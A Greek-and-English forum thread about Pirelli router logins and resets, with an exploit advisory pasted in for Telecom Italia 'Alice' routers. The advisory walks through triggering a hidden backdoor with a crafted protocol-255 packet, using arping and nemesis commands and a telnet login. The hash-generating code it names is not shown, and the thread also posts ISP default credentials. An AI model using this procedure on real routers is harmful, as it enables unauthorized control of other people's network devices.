Pirelli Ρυθμίσεις

[cnp5]

παιδια ξερει κανενας ποιοι ειναι οι default id & password για το pirelli discus voip agv1???
δεν ειναι δικο μου αλλα ψαχνει ενας φιλος γι αυτο

Ο φίλος σου , προφανώς είναι πελάτης της OnTelecoms, αν λοιπόν ψάχνεις το defaul username/password τότε αυτό είναι on/on
Αν τώρα θες το default username/password του pirelli (εργοστασιακό κτλ κτλ) για να αποκτήσεις administrator rights στο router... τότε ατύχησες... δε θα το βρεις εδώ (και δε θα το βρεις και πουθενά). Όλα τα default της Pirelli δε παίζουν στο router της On και τον admin user κανείς δε τον έχει "ξεκλειδώσει" ακόμα (απ' ότι ξέρω δηλαδή).

===============
1) Introduction
===============

Telecom Italia is the most important Italian ISP offering an ADSL service named "Alice".
Telecom Italia rent out with "Alice Adsl" service, different CPE Modem/Router among which
the affected ones.
The interface to configure these modems are made extremily poor by the provider to ensure
more control.
There's no way to enable telnet, ftp, tftp or more advanced web pages from the web interface.

http://adsl.alice.it/

############################################################
================
2) Vulnerability
================

An attacker can activate and get unauthorized access to the routers administration
interface and telnet/ftp/tftp services from internal network.

Every user in the LAN (or Wireless LAN) can nevertheless have access to the routers
administration interface and telnet/ftp/tftp!

If an attacker can get access to the administrator interface and login, he has full control
over the routers configuration.

##########################################################

==============
3) The Exploit
==============

To enable telnet/ftp/tftp and web-admin interface it is necessary send a special
IP packet to router specific ip 192.168.1.1.
This works only from internal LAN where an attacker have and ip like 192.168.1.XX.
The ip packet send to router must have the following feature:

1)IP-protocol-number 255 (there's a RAW SOCKET listening on the router)
2)Payload size 8 byte
3)The payload are the first 8 byte of a salted md5 of the mac address of device br0
4)br0 in these modems has the same mac of eth0

When the modem receives the packet all services will be enabled.

Example:

From a GNU/LINUX distrib:

1)Retrieve br0 maccaddress:

arping -I eth0 -c 2 192.168.1.1

ARPING 192.168.1.1 from 192.168.1.2 eth0
Unicast reply from 192.168.1.1 [00:01:02:03:04:05]  8.419ms
Unicast reply from 192.168.1.1 [00:01:02:03:04:05]  2.095ms
Sent 2 probes (1 broadcast(s))
Received 2 response(s)

2)Calculate special md5 hash from br0 macaddress: create an hex 6 byte long file with the mac address.
	run the application below and copy the output hash.
	http://rapidshare.com/files/15.....r.zip.html

3)Send ip packet to router ip 192.168.1.1 with 8 byte paylod file (with the tool you like)

	i.e.: nemesis ip -D 192.168.1.1 -p 255 -P hash.hex

4)Telnet to router :

	telnet 192.168.1.1

	BCM96348 ADSL Router
	Login: admin
	Password:

4) The Code
===========

/* Alice Backdoor Pwd creator by saxdax */
/* this code generates an 8 byte hash to use as the paylod of the ip packet   */
/* the mac must be in an hex file and has to be passed as argument to the program */

hello everyone ,

I have an Pirelli P.RG A4201G - My friend of mine has change login password - now I cannot login anymore

I try several times with several other passwords - on on , admin, admin , etc but not login anymore - can I make reset of factory setting or how to make a new bootloader - where can I download - thanks in adv

[Ax0R7aG0z]

You don't have to make a new bootloader, if you have physical access to the router
just do a reset to factory defaults by keeping the reset button pressed for 20 seconds
and that should do the trick. Just make sure you have your account details nearby in case you
need them to connect to the Internet.

[nikos r]

dear Ax0R7aG0z,

thank for advice, my problem is - my modem model is -ADB P.RG A4201G - Black one- Cyta by Pirelli -
you can see this in the link-
http://babelfish.yahoo.com/translate...cyta.gr%2Finde

x.php%3FID%3D0ubdGnrRWqXihl6d&lp=el_en&.intl=us&fr=chr-greentree_ff


my demand is that, after have send messages to Cyta( no answer)- I need the firmware which is normal to be given as most of other brands which provide it with updates- because I cannot login to that effect-

so , briefly someone dispose this modem- CYTA ADB P.RG A4201G - Black one - be so kind to provide me a backup of existing firmware- no matter of the version!!!

thank you for correct attention,
waiting
Nikos r.

[Ax0R7aG0z]

I don't think Cyta provide end users with firmware images, I believe they install
them remotely as necessary. If I am mistaken, someone correct me please...
In any case, if a reset doesn't fix your problems they might be hardware related
and not fixable by a fw update.

[paspro]

Pirelli + Cyta = a combination made in Hell.
